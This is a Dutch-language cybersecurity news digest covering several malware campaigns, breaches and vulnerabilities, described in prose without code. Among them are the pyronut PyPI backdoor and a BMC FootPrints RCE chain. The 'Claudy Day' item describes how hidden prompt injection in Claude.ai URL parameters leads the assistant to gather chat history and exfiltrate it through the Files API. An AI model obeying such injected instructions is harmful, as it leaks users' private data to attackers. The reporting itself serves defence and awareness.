Bron: Google Threat Intelligence Group | Bron 2: nvd.nist.gov | Bron 3: cve.mitre.org

Cybersecurity-onderzoekers hebben een nieuwe malware ontdekt, genaamd Speagle, die de functionaliteit en infrastructuur van het legitieme programma Cobra DocGuard misbruikt. Speagle is ontworpen om op heimelijke wijze gevoelige informatie van geïnfecteerde computers te verzamelen en over te brengen naar een Cobra DocGuard-server die door de aanvallers is gecompromitteerd. Op deze manier wordt het data exfiltratieproces gemaskeerd als legitieme communicatie tussen client en server, aldus onderzoekers van Symantec en Carbon Black.

Cobra DocGuard is een platform voor documentbeveiliging en encryptie, ontwikkeld door EsafeNet. Het misbruik van deze software in aanvallen is al eerder vastgelegd. In januari 2023 documenteerde ESET een inbraak waarbij een gokbedrijf in Hong Kong in september 2022 werd gecompromitteerd via een kwaadaardige update die door de software werd gepusht. Later, in augustus, belichtte Symantec de activiteit van een nieuw dreigingscluster met de codenaam Carderbee, dat een getrojaniseerde versie van het programma gebruikte om PlugX te implementeren, een backdoor die veel wordt gebruikt door Chinese hackinggroepen zoals Mustang Panda. De aanvallen waren gericht op meerdere organisaties in Hong Kong en andere Aziatische landen.

De herkomst van Speagle is tot op heden onbekend. Wat de malware opmerkelijk maakt, is dat het is ontworpen om gegevens te verzamelen en te exfiltreren van alleen die systemen waarop de Cobra DocGuard-gegevensbeschermingssoftware is geïnstalleerd. De activiteit wordt gevolgd onder de naam Runningcrab. Hoe de malware precies bij de slachtoffers wordt afgeleverd, is onbekend, hoewel wordt vermoed dat dit via een supply chain aanval kan zijn gebeurd, zoals blijkt uit de twee bovengenoemde gevallen.

Daarnaast verdient de centrale rol van de beveiligingssoftware en de bijbehorende infrastructuur een vermelding. Speagle gebruikt niet alleen een legitieme Cobra DocGuard-server voor command-and-control (C2) en als data exfiltratiepunt, maar roept ook een driver aan die aan het programma is gekoppeld om zichzelf van de gecompromitteerde host te verwijderen. Het 32-bit .NET-executable, eenmaal gestart, controleert eerst de installatiemap van Cobra DocGuard en gaat vervolgens over tot het verzamelen en verzenden van gegevens van de geïnfecteerde machine in fasen. Dit omvat details over het systeem en bestanden in specifieke mappen, zoals die met web browsergeschiedenis en autofill gegevens.

Bovendien is er een variant van Speagle gevonden die extra functionaliteit bevat om bepaalde soorten gegevensverzameling in/uit te schakelen, en om te zoeken naar bestanden met betrekking tot Chinese ballistische raketten zoals Dongfeng-27 (ook bekend als DF-27). Speagle is een nieuwe, parasitaire dreiging die slim gebruik maakt van de Cobra DocGuard-client om zijn kwaadaardige activiteit te maskeren en de infrastructuur ervan om exfiltratieverkeer te verbergen, aldus de onderzoekers. De ontwikkelaar heeft ongetwijfeld eerdere supply chain aanvallen met behulp van de software opgemerkt en heeft deze mogelijk geselecteerd vanwege de vermeende kwetsbaarheid en het hoge gebruik onder de beoogde organisaties.

Bron: Symantec | Bron 2: security.com

In het komende jaaroverzicht van Cisco Talos voor 2025 komt identiteitsfraude naar voren als het belangrijkste thema in verschillende aanvalsvectoren. In plaats van met brute kracht binnendringen, proberen aanvallers steeds vaker als een herkenbare gebruiker te worden uitgenodigd. Eenmaal binnen, is hun doel om te opereren alsof ze de rechtmatige eigenaar zijn.

De meeste organisaties hebben beveiligingsmaatregelen zoals segmentatie en authenticatie. Echter, wanneer toestemming wordt gemanipuleerd, bijvoorbeeld door social engineering, kan het systeem de inbraak zelf autoriseren. Een veelvoorkomende techniek is dat aanvallers slachtoffers overtuigen om hun multifactor authenticatie (MFA)-code in real-time voor te lezen, vaak via de telefoon, zich voordoend als IT support of een vertrouwde leverancier. In andere gevallen onderscheppen adversary-in-the-middle phishing kits de eenmalige code terwijl deze wordt ingevoerd, doordat ze de legitieme inlogpagina proxyen. De code is geldig, de authenticatie slaagt en de sessie wordt uitgegeven.

In 2025 was bijna een derde van de MFA spray aanvallen gericht op identity access management (IAM)-applicaties. Daarnaast was er een stijging van 178% in frauduleuze apparaatregistratie events. Dit wijst erop dat aanvallers zich richten op de mechanismen die de uitnodigingen uitgeven. Net zoals in vampierverhalen de barrière standhoudt totdat iemand binnenin toegang verleent, geldt in cybersecurity hetzelfde principe: toegang wordt steeds vaker verleend, niet geforceerd.

Cisco Talos heeft tevens een update gegeven over de recente cyberaanval op de medische apparatuurfabrikant Stryker. Talos schat in dat dit waarschijnlijk een opportunistisch compromis is en geen systematische verschuiving richting het specifiek richten op de gezondheidszorgsector. Desalniettemin blijft het bredere dreigingslandschap verhoogd vanwege de aanhoudende militaire operaties in Iran. Organisaties wordt aangeraden waakzaam te zijn en hun defensieve capaciteiten tegen destructieve cyberactiviteit te versterken. Destructieve malware, vaak ingezet door Iraanse dreigingsactoren, kan een directe bedreiging vormen voor de dagelijkse activiteiten van een organisatie, met impact op de beschikbaarheid van kritieke assets en data. Verstoringen door cyberaanvallen tegen organisaties in een doelland kunnen onbedoeld overslaan naar organisaties in andere landen.

Organisaties wordt geadviseerd om de security fundamentals te handhaven, zoals robuuste patching voor bekende kwetsbaarheden, zichtbaarheid in end-of-sale (EOS)/end-of-life (EOL) devices in het netwerk met een plan om te upgraden, en het vereisen van multifactor authenticatie (MFA) voor remote access en op kritieke services. Patches voor kritieke kwetsbaarheden die remote code execution of denial-of-service op extern gerichte apparatuur mogelijk maken, moeten worden geprioriteerd. Organisaties kunnen ook een patch management programma implementeren dat een tijdige en grondige patching cycle mogelijk maakt.

Bron: Cisco Talos | Bron 2: mashable.com | Bron 3: buzzsprout.com

De op crypto gebaseerde cadeaukaartenwinkel Bitrefill vermoedt dat de cyberaanval, die begin deze maand plaatsvond, is uitgevoerd door de Noord-Koreaanse hackers van de groep Bluenoroff. Tijdens het onderzoek ontdekte het platform overeenkomsten met eerdere aanvallen die aan deze dreigingsactor worden toegeschreven, waaronder tactieken, malware, IP- en e-mailadressen.

Volgens een verklaring van Bitrefill vertoont de aanval overeenkomsten met eerdere cyberaanvallen van de DPRK Lazarus / groep Bluenoroff tegen andere bedrijven in de crypto-industrie, op basis van de modus operandi, de gebruikte malware, on chain tracing en hergebruikte IP- en e-mailadressen.

Bitrefill is een e-commerceplatform dat het mogelijk maakt om met cryptocurrency cadeaukaarten te kopen voor winkels in 150 landen. De cadeaukaarten kunnen worden gebruikt voor diverse producten en diensten, zoals kleding, voeding, gezondheids- en schoonheidsproducten, maar ook voor het betalen van rekeningen, diensten, gas, transport en elektronica. Het platform ondersteunt meer dan 600 mobiele operators en duizenden merken wereldwijd.

Op 1 maart meldde Bitrefill technische problemen die de toegang tot de website en app belemmerden. Een dag later maakte het bedrijf bekend een beveiligingsprobleem te hebben vastgesteld en alle diensten offline te hebben gehaald. Hoewel de tegoeden van gebruikers niet werden aangetast, duurt het geleidelijke herstel van alle diensten nog steeds voort.

De inbreuk werd ontdekt nadat Bitrefill verdachte aankooppatronen van leveranciers, misbruik van cadeaukaartvoorraden en -leveringslijnen en het leegtrekken van enkele "hot" wallets had opgemerkt. Het onderzoek dat het bedrijf startte, wees uit dat de aanval afkomstig was van de laptop van een gecompromitteerde medewerker. De aanvallers stalen oude inloggegevens en gebruikten deze om toegang te krijgen tot een snapshot met productiegeheimen, waardoor ze hun toegang tot de grotere Bitrefill-infrastructuur konden uitbreiden, inclusief delen van de database en enkele cryptocurrency wallets.

Ongeveer 18.500 aankooprecords met e-mailadressen, IP adressen en cryptocurrency betalingsadressen van klanten werden blootgesteld bij de inbreuk. Voor 1.000 aankopen werden ook de namen van klanten blootgesteld. Hoewel deze informatie in gecodeerde vorm is opgeslagen, merkt Bitrefill op dat de aanvallers mogelijk de decryptiesleutels hebben verkregen.

Bitrefill zegt dat dit de ernstigste cyberaanval is die het in zijn tienjarig bestaan heeft meegemaakt, maar het heeft de aanval overleefd met minimale verliezen, die uit het eigen kapitaal zullen worden gedekt. Bitrefill gelooft dat de aanvallers uit waren op cryptocurrency en cadeaukaartvoorraden, en niet op klantinformatie.

BlueNoroff, ook bekend als APT38, is een subgroep van de groep Lazarus die al sinds 2014 actief is. De groep richt zich doorgaans op financiële organisaties, met een recente focus op de cryptocurrency-industrie, met als doel het stelen van crypto.

Bitrefill zegt dat het bezig is met het uitbreiden van beveiligingsonderzoeken en pentesten, het aanscherpen van toegangscontroles, het verbeteren van logging en monitoring, en het verfijnen van geautomatiseerde shutdown mechanismen. De meeste diensten zijn inmiddels weer operationeel en klanten hoeven geen actie te ondernemen, behalve extra voorzichtig te zijn met inkomende communicatie.

Bron: Bitrefill | Bron 2: hubs.li

In een recent bulletin waarschuwt The Hacker News voor diverse dreigingen, waaronder een opkomende Ransomware-as-a-Service (RaaS) operatie genaamd The Gentlemen. Deze groep, bestaande uit ongeveer 20 leden, maakt gebruik van de kritieke authenticatie bypass kwetsbaarheid CVE-2024-55591 in FortiOS/FortiProxy voor initiële toegang tot systemen.

Volgens Group-IB, dat de tactieken van The Gentlemen heeft onderzocht, beschikt de groep over een operationele database met ongeveer 14.700 reeds geëxploiteerde FortiGate apparaten wereldwijd. Daarnaast onderhouden ze 969 gevalideerde brute force FortiGate VPN credentials die klaar zijn voor gebruik bij aanvallen. The Gentlemen maakt ook gebruik van defense evasion technieken, zoals "bring your own vulnerable driver" (BYOVD), om security processen op kernel niveau te beëindigen. Sinds de opkomst in juli/augustus 2025 zijn er al ongeveer 94 organisaties aangevallen door deze dreigingsgroep.

Het bulletin waarschuwt ook voor vier security flaws (CVE-2025-71257, CVE-2025-71258, CVE-2025-71259 en CVE-2025-71260) in BMC FootPrints, een veelgebruikte ITSM oplossing. Deze flaws kunnen worden geketend tot pre-authentication remote code execution. De aanval begint met een authenticatie bypass (CVE-2025-71257) die een guest session token ("SEC_TOKEN") extraheert van het password reset endpoint. Dit token wordt vervolgens gebruikt om een unsanitized Java deserialization sink (CVE-2025-71260) te bereiken in de "__VIEWSTATE" parameter van het "/aspnetconfig" endpoint. Exploitation via de AspectJWeaver gadget chain maakt arbitrary file write naar de Tomcat web root directory mogelijk, wat resulteert in volledige remote code execution. Met de SEC_TOKEN kan een aanvaller ook twee SSRF flaws (CVE-2025-71258 en CVE-2025-71259) exploiteren en mogelijk interne data lekken. De problemen zijn in september 2025 verholpen.

Ten slotte wordt er melding gemaakt van Hijack Loader, een malware loader die gebruikt wordt om een voorheen ongedocumenteerd C2 framework genaamd SnappyClient te verspreiden. SnappyClient heeft een uitgebreide lijst van mogelijkheden, waaronder het maken van screenshots, keylogging, een remote terminal en data diefstal van browsers, extensies en andere applicaties. SnappyClient maakt gebruik van verschillende evasion technieken om endpoint security detectie te hinderen, waaronder een Antimalware Scan Interface (AMSI) bypass, evenals de implementatie van Heaven's Gate, direct system calls en transacted hollowing. Het framework werd voor het eerst ontdekt in december 2025. De aanvalsketen omvat de verspreiding van kwaadaardige payloads nadat een gebruiker een website bezoekt die de Spaanse telecom firma Telefónica nabootst.

Bron: Group-IB | Bron 2: nvd.nist.gov

Cybercriminelen maken steeds vaker gebruik van AI ondersteunde coderingstechnieken, ook wel "vibe coding" genoemd, om sneller en met minder expertise malware te ontwikkelen en campagnes op te zetten. In januari 2026 werd een grootschalige malwarecampagne ontdekt waarbij meer dan 443 kwaadaardige ZIP bestanden werden verspreid, vermomd als populaire tools zoals AI beeldgeneratoren, voice-changers, game hacks, Roblox script executors, VPN software, grafische kaart drivers, ransomware decryptors en infostealers.

Deze bestanden werden gehost op platforms zoals Discord, SourceForge, FOSSHub, MediaFire en mydofiles.com. McAfee-analisten identificeerden de campagne en ontdekten dat de eerste tekenen van deze dreiging teruggaan tot december 2024, waarbij AI gegenereerde scripting elementen recenter zijn toegevoegd. De onderzoekers vonden 48 unieke varianten van het bestand WinUpdateHelper.dll, de kwaadaardige engine achter elke infectie. Deze 48 varianten zijn onderverdeeld in 17 verschillende kill chains, elk met een eigen command-and-control infrastructuur, maar ze delen cryptocurrency wallet credentials, waardoor de onderzoekers de geldstroom konden volgen.

De campagne bereikte gebruikers in verschillende landen, waarbij de Verenigde Staten het hoogste infectiepercentage had, gevolgd door het Verenigd Koninkrijk, India, Brazilië, Frankrijk, Canada en Australië. Zeven Bitcoin wallets die aan de operatie zijn gekoppeld, bevatten ongeveer 4.536 USD ten tijde van het schrijven, met een totaal ontvangen bedrag van bijna 11.498 USD. Aangezien de meeste mining targets privacy gerichte coins zoals Monero en Zephyr gebruiken, is de werkelijke financiële impact waarschijnlijk aanzienlijk hoger.

Meer dan 100 URL's verspreidden actief deze malware ten tijde van de ontdekking, waarvan ongeveer 61 op Discord, 17 op SourceForge en 15 op mydofiles.com. Wanneer een gebruiker een van de geïnfecteerde ZIP archieven opent en het uitvoerbare bestand start, wordt een kwaadaardige DLL (WinUpdateHelper.dll) geladen. Het uitvoerbare bestand zelf is schoon en doorstaat basis beveiligingscontroles. De DLL opent vervolgens de browser van het slachtoffer en leidt deze om naar een pagina die beweert dat er een kritieke dependency ontbreekt. Het slachtoffer wordt vervolgens gevraagd om DependencyCore.zip te downloaden, wat op zijn beurt weer niet gerelateerde software van derden installeert, puur als afleiding.

Terwijl het slachtoffer wordt afgeleid door de valse installatie, heeft WinUpdateHelper.dll al verbinding gemaakt met een command-and-control server. Het C2-domein wordt dynamisch gegenereerd met behulp van de UNIX timestamp van het systeem en wordt elke 58 dagen vernieuwd, waardoor het moeilijk is om deze vooraf te blokkeren. Om controle over het systeem te behouden, registreert de malware een Windows-service met de naam "Microsoft Console Host", die bij elke systeemstart wordt uitgevoerd. Het PowerShell-script dat wordt gedownload, wordt vervolgens volledig in het geheugen uitgevoerd, waardoor het onzichtbaar blijft voor tools die bestanden op de schijf scannen.

Het PowerShell-script voert een reeks schadelijke acties uit. Het verwijdert oudere persistence entries om conflicten te voorkomen en voegt vervolgens de ProgramData-map toe aan de exclusion list van Windows Defender, zodat verdere payloads kunnen worden gedropt zonder detectie. Vervolgens worden twee coin miners ingezet: één gebruikt de CPU om Zephyr te minen, de andere gebruikt de GPU om Ravencoin te minen, waarbij de opbrengsten worden omgezet in Bitcoin voor uitbetaling. In bepaalde infecties is de uiteindelijke payload SalatStealer of een aMesh Agent remote access tool.

Bron: McAfee

SpyCloud heeft zijn jaarlijkse Identity Exposure Report voor 2026 gepubliceerd, waarin een sterke toename van de blootstelling van niet menselijke identiteiten (NHI) wordt geconstateerd. Het rapport is gebaseerd op een analyse van gestolen inloggegevens en data over identiteitsblootstelling die in het criminele circuit circuleren.

In 2025 zag SpyCloud een toename van 23% in zijn datalake met heroverde identiteitsgegevens, die nu in totaal 65,7 miljard unieke identiteitsrecords bevat. Uit het rapport blijkt dat aanvallers zich steeds vaker richten op machine identiteiten en geauthenticeerde sessie artefacten, naast traditionele combinaties van gebruikersnamen en wachtwoorden en persoonlijk identificeerbare informatie (PII).

Volgens Trevor Hilligoss, Chief Intelligence Officer bij SpyCloud, is er een structurele verschuiving gaande in de manier waarop identiteiten worden misbruikt. Aanvallers stelen niet alleen inloggegevens, maar ook geauthenticeerde toegang, zoals API sleutels, sessietokens en automatiseringscredentials. Deze toegang wordt gebruikt om sneller te bewegen, persistent te blijven en aanvallen op te schalen in cloud- en bedrijfsomgevingen.

In 2025 heroverde SpyCloud 18,1 miljoen blootgestelde API sleutels en tokens, verspreid over betalingsplatforms, cloudinfrastructuurproviders, developer ecosystemen, collaboration tools en AI diensten. Het rapport identificeerde ook 6,2 miljoen credentials of authenticatiecookies die gekoppeld zijn aan AI tools, wat de snelle adoptie van AI platforms door bedrijven en de daarmee samenhangende uitbreiding van machine gebaseerde toegangspaden weerspiegelt. In tegenstelling tot menselijke credentials ontbreekt het bij deze NHI's vaak aan MFA handhaving, worden ze niet frequent geroteerd en opereren ze met brede permissies. Wanneer ze worden blootgesteld, kunnen ze aanvallers persistente toegang geven tot productiesystemen, software supply chains en cloudinfrastructuur.

In 2025 onderschepte SpyCloud 28,6 miljoen gephishde identiteitsrecords. Opvallend is dat bijna de helft van deze identiteiten van zakelijke gebruikers waren, wat benadrukt dat phishing een aanhoudende bedreiging voor bedrijven blijft. Succesvolle phishingaanvallen zijn met 400% gestegen ten opzichte van het voorgaande jaar. Medewerkers lopen nu drie keer meer kans om doelwit te worden van phishingaanvallen dan van infostealer malware. Moderne phishingdatasets bevatten steeds vaker meer dan alleen inloggegevens, zoals sessiecookies, authenticatietokens en MFA workflowdata, waardoor aanvallers geauthenticeerde sessies kunnen overnemen zonder traditionele waarschuwingen te activeren.

SpyCloud onderschepte 8,6 miljard gestolen cookies en sessie artefacten die via malware infecties waren blootgesteld, wat aantoont dat aanvallers zich blijven richten op technieken voor sessiekaping die traditionele authenticatiemaatregelen omzeilen. Uit analyse van ondergrondse combolists bleek dat 51% van de records overlapte met eerder waargenomen infostealer logs, wat aangeeft dat criminelen steeds vaker door malware geëxfiltreerde data herverpakken in plaats van uitsluitend te vertrouwen op recente datalekken. Op 4 maart 2026 kondigde Europol in samenwerking met Microsoft en andere private organisaties aan dat het een gecoördineerde inbeslagname had uitgevoerd van Tycoon 2FA, een belangrijke phishing-as-a-service infrastructuur die wijdverspreide MFA bypass mogelijk maakte via AitM-technieken. SpyCloud ondersteunde deze actie door slachtofferidentificatie en operationele analyse uit criminele ondergrondse bronnen aan te leveren.

Ondanks de opkomst van phishing blijft infostealer malware een belangrijke factor bij de blootstelling van identiteiten. SpyCloud onderschepte meer dan 642,4 miljoen blootgestelde inloggegevens van 13,2 miljoen infostealer malware infecties in 2025. Dat is gemiddeld 50 blootgestelde gebruikerscredentials per malware infectie. Een aanzienlijk deel van de infecties vond plaats op endpoints waarop EDR- of antivirus tools waren geïnstalleerd.

SpyCloud onderschepte 5,3 miljard credential pairs, bestaande uit gebruikersnamen of e-mailadressen en wachtwoorden. Van de blootgestelde zakelijke inloggegevens bevatte 80% wachtwoorden in plaintext.

Bron: SpyCloud

Op de Python Package Index (PyPI) is een kwaadaardig Python pakket ontdekt, genaamd 'pyronut'. Het pakket is gericht op ontwikkelaars die Telegram bots bouwen en doet zich voor als het populaire pyrogram-framework. In plaats van te vertrouwen op typosquatting, waarbij een naam op een legitieme naam lijkt, heeft de dreigingsactor de volledige projectbeschrijving van pyrogram letterlijk gekopieerd. Onderzoekers beschrijven dit als een kwaadaardige fork, een getrojaniseerde kopie die is ontworpen om slachtoffers te bereiken via social engineering.

Het pyrogram-framework trekt ongeveer 370.000 downloads per maand aan, waardoor het een waardevol doelwit is voor dit type imitatie. Pyronut kopieerde de projectpagina van pyrogram zonder nieuwe functies toe te voegen, en de vermelde GitHub-repository-URL verwees naar een pagina die niet bestond. Dit suggereert dat het pakket werd verspreid via Telegram communities en ontwikkelaarsforums in plaats van per ongeluk te worden ontdekt. Er werden drie versies gepubliceerd: 2.0.184, 2.0.185 en 2.0.186, die allemaal kwaadaardig waren.

Onderzoekers van Endor Labs identificeerden alle drie de versies op 18 maart 2026, dezelfde dag dat ze op PyPI verschenen, en lieten ze binnen enkele uren in quarantaine plaatsen. Deze snelle reactie hield het aanval venster kort en verminderde het aantal ontwikkelaars dat risico liep. Toch liep elke ontwikkelaar wiens bot het pakket tijdens dat korte venster uitvoerde, het risico volledig te worden gecompromitteerd.

Wat pyronut bijzonder moeilijk te detecteren maakte, was de runtime activeringsstrategie. In tegenstelling tot de meeste kwaadaardige pakketten die schadelijke code uitvoeren via setup.py hooks tijdens de installatie, bleef pyronut volledig inactief totdat een ontwikkelaar daadwerkelijk zijn bot uitvoerde. Het pakket bevatte een verborgen backdoor-module op pyrogram/helpers/secret.py, die stilletjes werd geladen telkens wanneer de Telegram client startte, waardoor standaard beveiligingscontroles tijdens de installatie volledig werden omzeild.

De gevolgen van een succesvolle infectie waren ernstig. Zodra de backdoor was geactiveerd, kreeg de aanvaller dubbele Remote Code Execution (RCE)-mogelijkheden: de mogelijkheid om willekeurige Python code en willekeurige shell opdrachten uit te voeren op de machine van het slachtoffer. Dit opende de deur naar diefstal van inloggegevens, data exfiltratie, laterale verplaatsing over systemen en volledige overname van de actieve Telegram sessie van het slachtoffer.

De backdoor werd geactiveerd op het moment dat een ontwikkelaar de Client.start() methode aanriep, een kernstap in de initialisatie van een op pyrogram gebaseerde Telegram bot. De dreigingsactor had deze methode in pyrogram/methods/utilities/start.py gewijzigd om stilletjes de verborgen secret.py module uit te voeren telkens wanneer een client startte. De gehele aanroep was verpakt in een try/except: pass block, waardoor de bot normaal bleef functioneren, zelfs als de backdoor een fout tegenkwam.

Eenmaal actief, registreerde de backdoor twee verborgen bericht handlers op de Telegram client van het slachtoffer, gekoppeld aan twee hardcoded account-ID's van de aanvaller. De eerste handler, geactiveerd door de /e opdracht, gebruikte de meval bibliotheek om willekeurige Python code uit te voeren binnen de live sessie, waardoor volledige toegang tot berichten, contacten en Telegram API functies werd verkregen. De tweede handler, /shell, gaf opdrachten rechtstreeks door aan /bin/bash via subprocess, waardoor de aanvaller onbeperkte systeem toegang kreeg. De backdoor sloeg ook de installatie over op de eigen accounts van de aanvaller, een duidelijk teken van opzettelijke kwaadaardige intentie.

Opdracht outputs werden teruggestuurd naar de aanvaller via Telegram zelf, met resultaten die werden geretourneerd in dezelfde chat waarin opdrachten werden gegeven. Dit betekende dat de operatie geen ongebruikelijke externe netwerkverbindingen, geen verdachte DNS queries en geen C2-domeinen achterliet die monitoring tools konden signaleren, waardoor de backdoor extreem moeilijk te detecteren was via conventionele netwerkanalyse.

Ontwikkelaars die mogelijk pyronut hebben geïnstalleerd, moeten het pakket onmiddellijk verwijderen en de getroffen virtuele omgevingen opnieuw opbouwen vanuit een schone, geverifieerde staat. Alle omgevingsvariabelen, API sleutels, SSH sleutels en database wachtwoorden die toegankelijk zijn voor het gecompromitteerde proces, moeten als blootgesteld worden beschouwd en onmiddellijk worden gerouleerd. Actieve Telegram sessies moeten worden beëindigd en alle Bot API tokens onmiddellijk worden ingetrokken. Dependency files zoals requirements.txt, Pipfile, en pyproject.toml moeten regelmatig worden gecontroleerd op onverwachte pakketten, en lockfiles met cryptografische hash pinning moeten worden gebruikt om stille vervangingen te voorkomen. Het uitvoeren van applicaties onder het principe van minimale privileges en het integreren van Software Composition Analysis tools in CI/CD pipelines zal de blootstelling aan soortgelijke supply chain aanvallen aanzienlijk verminderen.

Bron: Endor Labs

Onderzoekers hebben drie aaneengeschakelde kwetsbaarheden ontdekt in Claude.ai, de AI assistent van Anthropic. Deze kwetsbaarheden, gezamenlijk "Claudy Day" genoemd, stellen aanvallers in staat om op stille wijze gevoelige gespreksgegevens te exfiltreren en nietsvermoedende gebruikers door te verwijzen naar kwaadaardige websites. Dit alles zonder dat integraties, tools of MCP-serverconfiguraties nodig zijn.

De aanval maakt gebruik van drie onafhankelijke zwakke punten in het claude.com-platform, die aan elkaar gekoppeld zijn tot een volledig compromis. De eerste kwetsbaarheid is een onzichtbare promptinjectie via URL-parameters. Claude.ai ondersteunt vooraf ingevulde prompts via URL-parameters (claude.ai/new?q=...), waardoor gebruikers een chatsessie kunnen openen met vooraf geladen tekst. Onderzoekers ontdekten dat bepaalde HTML tags in deze parameter konden worden ingebed en onzichtbaar werden weergegeven in het chat invoerveld, maar wel volledig werden verwerkt door Claude bij het indienen. Hierdoor konden aanvallers willekeurige instructies, inclusief data extractieopdrachten, verbergen in een ogenschijnlijk normale prompt, onzichtbaar voor het slachtoffer.

De tweede kwetsbaarheid is data exfiltratie via de Anthropic Files API. De code uitvoeringssandbox van Claude beperkt de meeste uitgaande netwerkverbindingen, maar staat verkeer naar api.anthropic.com toe. Door een door de aanvaller gecontroleerde API sleutel in te bedden in de verborgen promptinjectie payload, toonden onderzoekers aan dat Claude kon worden geïnstrueerd om de gespreksgeschiedenis van de gebruiker te doorzoeken op gevoelige gegevens, deze in een bestand samen te stellen en op stille wijze te uploaden naar de eigen Anthropic-account van de aanvaller via de Files API. De aanvaller kan de geëxfiltreerde gegevens ophalen wanneer hij maar wil, zonder dat externe tools of integraties van derden vereist zijn.

De derde kwetsbaarheid is een open redirect op claude.com. Elke URL met de structuur claude.com/redirect/ zou bezoekers zonder validatie doorverwijzen naar willekeurige domeinen van derden. Onderzoekers toonden aan dat dit kon worden ingezet met Google Ads, dat advertenties valideert op hostname. Een aanvaller zou een betaalde zoekadvertentie kunnen plaatsen met een vertrouwde claude.com-URL die, na het klikken, het slachtoffer stilletjes doorstuurt naar de kwaadaardige injectie URL van de aanvaller, niet te onderscheiden van een legitiem Claude-zoekresultaat.

Anthropic heeft bevestigd dat de promptinjectie kwetsbaarheid is verholpen en dat de overige problemen actief worden aangepakt. Organisaties die op Claude.ai of vergelijkbare AI platforms vertrouwen, wordt aangeraden alle agentintegraties te controleren en machtigingen uit te schakelen die niet actief nodig zijn, waardoor het beschikbare aanvalsoppervlak wordt verkleind. Gebruikers moeten worden geïnformeerd dat vooraf ingevulde prompts en gedeelde Claude-links verborgen instructies kunnen bevatten, een dreigingsmodel waar de meeste gebruikers momenteel geen rekening mee houden.

Bron: Oasis Security

Een bekende banktrojan, Horabot, is opnieuw opgedoken in een actieve campagne gericht op gebruikers in Mexico. De aanval combineert een meerstaps infectieketen met een e-mailworm die elke geïnfecteerde machine omzet in een phishingrelais. De dreiging combineert een Delphi-gebaseerde banktrojan met een PowerShell-gedreven verspreider, waardoor het een van de meer gelaagde financieel gemotiveerde dreigingen is die in Latijns-Amerika worden gezien.

De aanval begint met een valse CAPTCHA pagina die slachtoffers instrueert om het Windows Run-dialoogvenster te openen en een kwaadaardig commando te plakken. In plaats van een softwarefout te misbruiken, misleiden aanvallers gebruikers om een kwaadaardig HTA bestand uit te voeren dat stilletjes de infectieketen start. Deze methode omzeilt veel endpoint verdedigingen door het slachtoffer tot een onwetende deelnemer aan hun eigen compromis te maken.

Analisten van Securelist identificeerden deze campagne nadat een verdachte mshta-uitvoeringswaarschuwing werd geactiveerd binnen een bewaakte klantomgeving. Het team herleidde de activiteit tot een valse CAPTCHA pagina en bracht de volledige aanvalsketen in kaart door de infrastructuur van de tegenstander te onderzoeken. Tijdens dat proces vonden onderzoekers een blootgelegd slachtofferlogboek op de server van de aanvaller, waaruit 5.384 geïnfecteerde machines bleken te zijn, waarvan 5.030 (ongeveer 93%) zich in Mexico bevonden. Records liepen terug tot mei 2025, wat bevestigt dat de operatie al maanden voor de detectie actief was.

De dreigingsactoren vertonen duidelijke banden met Brazilië. Opmerkingen in de PowerShell-code van de verspreider waren geschreven in informeel Braziliaans Portugees, en de encryptiesleutel die wordt gebruikt voor het decoderen van resources verwijst naar de zin "pega a visão", wat "snap je" betekent in Braziliaans slang. De phishing-e-mails die door de worm worden verspreid, zijn in het Spaans geschreven en opgesteld als valse facturen of vertrouwelijke zakelijke documenten gericht op Mexicaanse ontvangers.

De Delphi-banktrojan (ook bekend als Casbaneiro, Ponteiro en Metamorfo) gebruikt valse pop ups met bankoverlays om inloggegevens te stelen tijdens actieve banksessies. De e-mailworm verzamelt ook contactadressen uit de inbox van het slachtoffer via de MAPI-namespace en verzendt phishing-e-mails naar elk adres, met een kwaadaardige PDF die de volledige infectiecyclus opnieuw start.

Wat deze campagne onderscheidt, is niet alleen de payload, maar ook de uitgebreide afleverroute. Elke fase introduceert een nieuwe laag van obfuscatie voordat de uiteindelijke malware arriveert. Nadat het HTA bestand is uitgevoerd, haalt het een JavaScript-loader op van een door de aanvaller gecontroleerd domein, die vervolgens een geobfusceerd VBScript ophaalt en uitvoert. Dit VBScript gebruikt server-side polymorfisme, waarbij bij elk verzoek een iets andere versie van de code wordt geleverd om op handtekeningen gebaseerde detectie te omzeilen. Een tweede, complexer VBScript van meer dan 400 regels fungeert als het werkpaard van de operatie en verzamelt het IP adres, de hostname, de gebruikersnaam en de OS-versie van het slachtoffer voordat die gegevens naar een command-and-control server worden verzonden. Het zet AutoIT-componenten op schijf, plaatst een LNK shortcut in de Startup-map voor persistentie en downloadt de volgende fase.

Het AutoIT-script decodeert vervolgens een AES-192-gecodeerde blob met behulp van een sleutel die is afgeleid van de seed waarde 99521487 en laadt de resulterende DLL rechtstreeks in het geheugen. Die DLL is de banktrojan. Het communiceert met zijn C2-server via een aangepast TCP protocol, waarbij commando's worden verpakt in gestructureerde tags, en al het verkeer wordt gecodeerd via een stateful XOR-cipher. De output wordt omlijst tussen dubbele "##"-markeringen, een patroon dat zeldzaam genoeg is in legitiem verkeer om te werken als een betrouwbare netwerkdetectiesignatuur. Analisten merkten op dat de rigide, repetitieve structuur van de cipher het eigenlijk gemakkelijker maakt om te vangen met een standaard IDS regel.

Beveiligingsteams moeten de uitvoering van HTA bestanden van niet vertrouwde bronnen blokkeren en nauwlettend toezicht houden op verdachte mshta-activiteit. Het implementeren van de gepubliceerde YARA regels voor zowel de Horabot Delphi-trojan als de AutoIT-loader, samen met de Suricata-regel die gericht is op het dubbele "##" C2-verkeerspatroon, zal helpen infecties vroegtijdig te detecteren. Alle gedeelde indicators of compromise (IOC's), inclusief de door de aanvaller gecontroleerde domeinen en socket adressen, moeten onmiddellijk aan netwerkblokkeringen worden toegevoegd. Training van gebruikers op valse CAPTCHA lokmiddelen en PDF bijlagen met ingesloten knoppen blijft een cruciale verdedigingslaag.

Bron: Securelist

Microsoft Threat Intelligence heeft een toename waargenomen van phishing- en malwarecampagnes die inspelen op het belastingseizoen. Cybercriminelen maken misbruik van de urgentie en bekendheid van e-mails met betrekking tot belastingaangifte, zoals terugbetalingsberichten, loonstrookjes, herinneringen en verzoeken van belastingprofessionals. Deze campagnes proberen slachtoffers te verleiden om schadelijke bijlagen te openen, QR codes te scannen of meerstaps links te volgen.

De campagnes richten zich op zowel individuen, voor de diefstal van persoonlijke en financiële gegevens, als op accountants en andere professionals die gevoelige documenten verwerken en toegang hebben tot financiële data. De geïdentificeerde campagnes zijn ontworpen om inloggegevens te stelen of malware te verspreiden. Phishing-as-a-service (PhaaS)-platforms worden veel gebruikt om overtuigende credential harvesting en multifactor authenticatie (MFA) bypass campagnes uit te voeren.

